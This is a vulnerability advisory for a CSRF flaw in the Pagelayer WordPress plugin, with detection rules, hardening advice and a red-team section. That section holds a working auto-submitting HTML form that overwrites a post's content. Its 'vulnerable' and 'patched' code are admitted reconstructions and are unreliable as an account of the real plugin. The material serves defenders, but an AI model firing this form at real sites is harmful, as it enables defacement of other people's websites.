CVE-2025-1926

Executive Summary

CVE-2025-1926 is a Cross-Site Request Forgery (CSRF) vulnerability in the Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress, affecting all versions up to and including 1.9.8. The vulnerability exists in the pagelayer_save_post function due to missing or incorrect nonce validation. This allows an unauthenticated attacker to forge a request that, when triggered by a logged-in administrator (e.g., by clicking a malicious link), can modify post contents without authorization. The CVSS score is 4.3 (Medium), with a low EPSS probability of 0.0%, indicating low active exploitation in the wild. No public exploit code or patch is currently available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The issue lies within the Pagelayer plugin’s AJAX handler, not the core WordPress or server software. Administrators using this plugin should treat this as a high-priority configuration risk, as it enables unauthorized content modification through social engineering.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The attack is executed remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Attacker does not need authentication.
• User Interaction: Required (UI:R) – Victim must click a link or perform an action.
• Scope: Unchanged (S:U) – The vulnerable component remains isolated.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – Post content can be modified, but not all data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for unauthorized content modification (e.g., defacement, injection of malicious links) makes it a significant concern for WordPress sites using Pagelayer.

Deep Dive & Mechanics

The vulnerability resides in the pagelayer_save_post function, which is registered as an AJAX action for both authenticated and unauthenticated users. The function is intended to save post content via the Pagelayer builder. However, it lacks proper nonce validation—a security token that ensures the request originates from the legitimate user session.

Attack Flow:

1. An attacker crafts a malicious HTTP request to the WordPress AJAX endpoint (e.g., /wp-admin/admin-ajax.php) with the action pagelayer_save_post and parameters to modify a specific post (e.g., post_id, content).
2. The attacker hosts this request in a link or an HTML form on an external site.
3. The attacker tricks a logged-in WordPress administrator into clicking the link or submitting the form (e.g., via phishing email or social media).
4. The victim’s browser sends the forged request with their session cookies, and the server processes it without nonce verification.
5. The post content is modified as per the attacker’s payload.

Root Cause: The pagelayer_save_post function does not call check_ajax_referer() or wp_verify_nonce() before processing the request. This omission allows any authenticated session (via cookies) to execute the action without verifying the request’s origin.

Vulnerable vs. Patched Code

Vulnerable Code (Pagelayer <= 1.9.8):

// In pagelayer-ajax.php or similar
add_action('wp_ajax_pagelayer_save_post', 'pagelayer_save_post');
add_action('wp_ajax_nopriv_pagelayer_save_post', 'pagelayer_save_post');

function pagelayer_save_post() {
    // No nonce verification
    $post_id = intval($_POST['post_id']);
    $content = wp_kses_post($_POST['content']);
    wp_update_post(array('ID' => $post_id, 'post_content' => $content));
    wp_die();
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_pagelayer_save_post', 'pagelayer_save_post');
// Remove nopriv hook to require authentication
// add_action('wp_ajax_nopriv_pagelayer_save_post', 'pagelayer_save_post');

function pagelayer_save_post() {
    // Verify nonce
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'pagelayer_save_post_nonce')) {
        wp_die('Security check failed.');
    }
    // Ensure user can edit posts
    if (!current_user_can('edit_posts')) {
        wp_die('Insufficient permissions.');
    }
    $post_id = intval($_POST['post_id']);
    $content = wp_kses_post($_POST['content']);
    wp_update_post(array('ID' => $post_id, 'post_content' => $content));
    wp_die();
}

Key Differences:

• The patched version adds wp_verify_nonce() to validate the request origin.
• It removes the nopriv hook to prevent unauthenticated access (though CSRF still requires a logged-in user).
• It adds a capability check (current_user_can('edit_posts')) for defense in depth.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites:

• A WordPress site with Pagelayer <= 1.9.8 installed and activated.
• A logged-in administrator account (target victim).
• Attacker-controlled server to host the malicious page.

Exploit Steps:

1. Identify a target post ID (e.g., via /?p=1 or by scraping).
2. Create an HTML file on your attacker server:

<!DOCTYPE html>
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="pagelayer_save_post">
    <input type="hidden" name="post_id" value="1">
    <input type="hidden" name="content" value="<h1>Defaced by CVE-2025-1926</h1><p>This content was modified via CSRF.</p>">
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

3. Send the link to the victim (e.g., via email or social engineering).
4. When the victim clicks the link, the form auto-submits, modifying the post content.

Expected Outcome: The target post’s content is replaced with the attacker’s payload.

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with action pagelayer_save_post from unusual referrers or without a valid nonce parameter.
• Look for sudden changes in post content, especially from non-editor users.

Hardening:

• Apply the principle of least privilege: ensure only administrators can edit posts.
• Use a Web Application Firewall (WAF) to block requests to admin-ajax.php with missing or invalid nonces.
• Educate administrators about phishing attacks and the risks of clicking unknown links.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=pagelayer_save_post and no _wpnonce parameter.
  • Referrer headers from external domains (e.g., attacker-controlled sites).
• File System:
  • Modified post content in the WordPress database (table wp_posts, column post_content).
  • Suspicious entries in wp_postmeta related to Pagelayer.
• Logs:
  • WordPress debug log entries showing pagelayer_save_post calls without nonce.
  • Web server access logs with POST /wp-admin/admin-ajax.php and HTTP_REFERER not matching the site domain.

Detection Engineering

YARA Rule

rule CVE_2025_1926_CSRF_Pagelayer {
    meta:
        description = "Detects CSRF exploitation attempts against Pagelayer plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1926"
    strings:
        $ajax_action = "pagelayer_save_post"
        $post_id = "post_id"
        $content = "content"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-1926 - Pagelayer CSRF Exploitation
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting Pagelayer's pagelayer_save_post AJAX action without nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=pagelayer_save_post'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate plugin updates (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-1926 Pagelayer CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pagelayer_save_post"; http_client_body; nocase; pcre:"/^(?!.*_wpnonce).*$/P"; sid:1000001; rev:1; reference:cve,2025-1926;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Pagelayer plugin until a patched version is released.
2. Review and revert any unauthorized post modifications by checking recent post revisions.
3. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=pagelayer_save_post and missing nonce.

Long-term Fix:

• The vendor must release a patched version (e.g., 1.9.9) that adds nonce validation and capability checks.
• Monitor the Pagelayer plugin page for updates: https://wordpress.org/plugins/pagelayer/

Workaround:

• Add a custom function to your theme’s functions.php to enforce nonce validation:

add_action('wp_ajax_pagelayer_save_post', 'custom_pagelayer_save_post', 1);
function custom_pagelayer_save_post() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'pagelayer_save_post_nonce')) {
        wp_die('CSRF detected.');
    }
}

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